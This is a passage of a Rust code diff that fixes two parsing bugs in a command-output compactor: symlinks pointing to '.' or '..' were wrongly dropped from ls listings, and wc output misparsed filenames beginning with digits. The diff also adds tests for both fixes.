build.")); } + + #[test] + fn test_is_dotdir_ignores_symlink_targets() { + // `ls -l` renders a symlink as ` -> `. A link whose target + // is `.` or `..` must be kept: the trailing token is the target, not the + // entry name, so matching on it silently deleted the link. + assert!(!is_dotdir("lrwxrwxrwx 1 user staff 1 Jan 1 12:00 current -> .")); + assert!(!is_dotdir("lrwxrwxrwx 1 user staff 2 Jan 1 12:00 parent -> ..")); + // A link named `.`-adjacent but pointing elsewhere is still not a dot-dir. + assert!(!is_dotdir("lrwxrwxrwx 1 user staff 3 Jan 1 12:00 link. -> src")); + // The genuine self/parent entries still match. + assert!(is_dotdir("drwxr-xr-x 2 user staff 64 Jan 1 12:00 .")); + assert!(is_dotdir("drwxr-xr-x 2 user staff 64 Jan 1 12:00 ..")); + } + + #[test] + fn test_compact_keeps_symlinks_to_dot() { + let input = "total 8\n\ + drwxrwxr-x 2 user staff 4096 Jan 1 12:00 .\n\ + drwxrwxr-x 7 user staff 4096 Jan 1 12:00 ..\n\ + lrwxrwxrwx 1 user staff 1 Jan 1 12:00 current -> .\n\ + lrwxrwxrwx 1 user staff 2 Jan 1 12:00 parent -> ..\n\ + -rw-rw-r-- 1 user staff 0 Jan 1 12:00 regular.txt\n"; + let (entries, _summary, parsed_count) = compact_ls(input, false, false); + assert_eq!( + parsed_count, 3, + "both symlinks and the regular file must be parsed, got: {entries}" + ); + assert!( + entries.contains("current"), + "symlink to '.' must survive, got: {entries}" + ); + assert!( + entries.contains("parent"), + "symlink to '..' must survive, got: {entries}" + ); + assert!(entries.contains("regular.txt")); + } } diff --git a/src/cmds/system/wc_cmd.rs b/src/cmds/system/wc_cmd.rs index 24c94adcc8..3efceb01b7 100644 --- a/src/cmds/system/wc_cmd.rs +++ b/src/cmds/system/wc_cmd.rs @@ -53,8 +53,12 @@ enum WcMode { Bytes, /// Chars only (-m) Chars, - /// Multiple flags combined — keep compact format - Mixed, + /// Multiple flags combined — keep compact format. Carries the exact number + /// of count columns `wc` will emit (one per requested flag). Assuming a + /// fixed upper bound of 4 here makes the numeric-prefix peeler swallow the + /// leading token of a filename that starts with digits, e.g. + /// `wc -lw "123 report.txt"` -> `2 2 123` instead of `2 2` (murphytek #8). + Mixed(usize), } fn detect_mode(args: &[String]) -> WcMode { @@ -103,7 +107,7 @@ fn detect_mode(args: &[String]) -> WcMode { return WcMode::Full; } if flag_count > 1 { - return WcMode::Mixed; + return WcMode::Mixed(flag_count); } if has_l { @@ -186,12 +190,13 @@ fn format_single_line(line: &str, mode: &WcMode) -> String { line.trim().to_string() } } - WcMode::Mixed => { + WcMode::Mixed(n) => { // Strip the (possibly space-containing) filename, keep counts only. - // Mixed can have up to 4 count columns (-lwcm); peel the numeric - // prefix off the front rather than guessing from the last token, - // which mis-handles names like `my file.txt`. - let (counts, _name) = split_counts_and_name(line, 4); + // Peel exactly `n` numeric columns off the front — one per requested + // flag — rather than guessing from the last token (which mis-handles + // `my file.txt`) or peeling up to 4 (which eats the leading token of + // `123 report.txt`). + let (counts, _name) = split_counts_and_name(line, *n); if counts.is_empty() { line.trim().to_string() } else { @@ -205,11 +210,11 @@ fn format_single_line(line: &str, mode: &WcMode) -> String { fn format_multi_line(lines: &[&str], mode: &WcMode) -> String { let mut result = Vec::new(); - // Max count columns this mode emits (Mixed can be up to -lwcm = 4). + // Exact count columns this mode emits. let max_counts = match mode { WcMode::Lines | WcMode::Words | WcMode::Bytes | WcMode::Chars => 1, WcMode::Full => 3, - WcMode::Mixed => 4, + WcMode::Mixed(n) => *n, }; // Find common directory prefix to shorten paths. Filenames may contain @@ -259,7 +264,7 @@ fn format_multi_line(lines: &[&str], mode: &WcMode) -> String { result.push(line.trim().to_string()); } } - WcMode::Mixed => { + WcMode::Mixed(_) => { if is_total { result.push(format!("Σ {}", counts.join(" "))); } else if counts.is_empty() { @@ -387,13 +392,13 @@ mod tests { #[test] fn test_detect_mode_mixed() { let args: Vec = vec!["-lw".into(), "file.py".into()]; - assert_eq!(detect_mode(&args), WcMode::Mixed); + assert_eq!(detect_mode(&args), WcMode::Mixed(2)); } #[test] fn test_detect_mode_separate_flags() { let args: Vec = vec!["-l".into(), "-w".into(), "file.py".into()]; - assert_eq!(detect_mode(&args), WcMode::Mixed); + assert_eq!(detect_mode(&args), WcMode::Mixed(2)); } #[test] @@ -477,12 +482,38 @@ mod tests { fn test_mixed_single_name_with_spaces() { // -lw on a spaced filename: two count columns then the verbatim name. let raw = " 30 96 my file.txt\n"; - let result = filter_wc_output(raw, &WcMode::Mixed); + let result = filter_wc_output(raw, &WcMode::Mixed(2)); // Mixed single-line strips the path entirely, keeping only the counts; // it must not leave a dangling fragment of the filename. assert_eq!(result, "30 96"); } + #[test] + fn test_mixed_single_name_starting_with_digits() { + // `wc -lw "123 report.txt"` -> two counts, then a filename whose FIRST + // token is numeric. Peeling a fixed 4 columns swallowed `123` as a third + // count and printed "2 2 123"; only `flag_count` columns may be peeled. + let raw = " 2 2 123 report.txt\n"; + assert_eq!(filter_wc_output(raw, &WcMode::Mixed(2)), "2 2"); + } + + #[test] + fn test_mixed_three_flags_name_starting_with_digits() { + // -lwc = 3 columns; the name's leading `123` must still be left alone. + let raw = " 2 2 4 123 report.txt\n"; + assert_eq!(filter_wc_output(raw, &WcMode::Mixed(3)), "2 2 4"); + } + + #[test] + fn test_mixed_multi_name_starting_with_digits() { + // Same hazard in table mode: the name must survive intact. + let raw = " 2 2 123 report.txt\n 1 1 other.txt\n 3 3 total\n"; + assert_eq!( + filter_wc_output(raw, &WcMode::Mixed(2)), + "2 2 123 report.txt\n1 1 other.txt\nΣ 3 3" + ); + } + // --- split_counts_and_name helper contract --- #[test] @@ -535,7 +566,7 @@ mod tests { #[test] fn test_mixed_multi_name_with_spaces() { let raw = " 30 96 my file.txt\n 50 120 other one.txt\n 80 216 total\n"; - let result = filter_wc_output(raw, &WcMode::Mixed); + let result = filter_wc_output(raw, &WcMode::Mixed(2)); assert_eq!( result, "30 96 my file.txt\n50 120 other one.txt\nΣ 80 216"